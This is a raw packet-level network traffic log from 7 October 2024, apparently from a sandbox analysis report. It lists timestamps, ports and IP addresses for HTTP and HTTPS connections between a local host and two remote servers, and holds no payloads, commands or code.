Oct 7, 2024 21:18:43.890130043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890141964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890152931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890177011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890209913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890223026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890244007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890278101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890311003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890331984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890351057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890391111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890424013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890458107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890476942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890490055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890491009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890523911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890557051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890567064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890592098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890594006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890638113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890727997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890762091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890775919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890801907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890811920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890841007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890846014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890882015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890904903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890904903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890914917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890942097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890949011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.890949011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890985966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.890994072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891089916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891242981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891275883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891310930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891324997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891345024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891352892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891379118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891444921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891479015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891491890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891514063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.891516924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.891577005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.898684025 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.902674913 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.902693987 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.903112888 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.903119087 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.929337025 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.929402113 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.944570065 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.944927931 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.947938919 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.959873915 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.968446970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968486071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968539953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968571901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968604088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968632936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968636036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968671083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968677044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968705893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968705893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968719959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968741894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968744040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968775034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968784094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.968898058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968947887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.968981028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969012022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969044924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969050884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969073057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969084978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969095945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969121933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969153881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969187021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969218016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969219923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969242096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969264984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969331980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969364882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969400883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969445944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969479084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969507933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969540119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969572067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969604015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969619036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969636917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969645977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969670057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969711065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.969908953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.969974995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970025063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970026970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970060110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970066071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970093012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970155954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970187902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970202923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970223904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970232964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970304012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970335007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970367908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970383883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970400095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970408916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970434904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970468044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970477104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970809937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970861912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970861912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.970896006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970928907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970961094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.970974922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971024990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971057892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971067905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971148968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971180916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971191883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971215010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971249104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971260071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971613884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971646070 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.971647978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971652031 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.971657991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971688986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971698046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971726894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971777916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971817017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971828938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971860886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971894979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971900940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971930027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971961975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.971983910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.971992970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972033024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972079039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972112894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972143888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972161055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972178936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972210884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972219944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972246885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972279072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972290993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972313881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972347021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972357035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972383022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972414017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972421885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972465038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972500086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972531080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972543955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972564936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972599983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972609043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972634077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972666025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972671986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972700119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972733021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972738028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972765923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972799063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972810030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972831964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972873926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972886086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972919941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972951889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.972960949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.972985983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973018885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973025084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973052025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973083973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973115921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973126888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973153114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973192930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973439932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973473072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973505020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973521948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973537922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973575115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973579884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973608971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973642111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973649979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973674059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973706007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973714113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973738909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973772049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973781109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973927975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973959923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.973972082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.973993063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.974026918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.974059105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.974066973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.974919081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.007217884 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.007239103 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.007278919 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.007328987 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.007409096 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.018493891 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.041106939 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.041134119 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.041528940 CEST	49884	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.041534901 CEST	443	49884	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.041821003 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.041821003 CEST	49883	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.041836023 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.041841030 CEST	443	49883	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.042850018 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.042859077 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.043329954 CEST	49885	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.043334007 CEST	443	49885	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.044307947 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.044307947 CEST	49882	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.044337034 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.044347048 CEST	443	49882	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.048310995 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.048317909 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.048968077 CEST	49886	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:44.048974991 CEST	443	49886	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:44.056408882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056437016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056447029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056478977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056488991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056494951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056500912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056512117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056533098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056550980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056622982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056633949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056675911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056736946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056747913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056761980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056781054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056804895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056931019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056941986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056952000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056962967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056972980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056979895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.056983948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.056992054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057023048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057199001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057209015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057250977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057333946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057343960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057353020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057363033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057373047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057379007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057384014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057395935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057399035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057411909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057419062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057423115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057435036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057442904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057445049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.057461023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057470083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.057497025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058115959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058129072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058172941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058178902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058183908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058196068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058204889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058212042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058216095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058227062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058237076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058239937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058248997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058258057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058263063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058269024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058271885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058280945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058290958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.058301926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.058326960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.059040070 CEST	80	49810	95.164.90.97	192.168.2.5
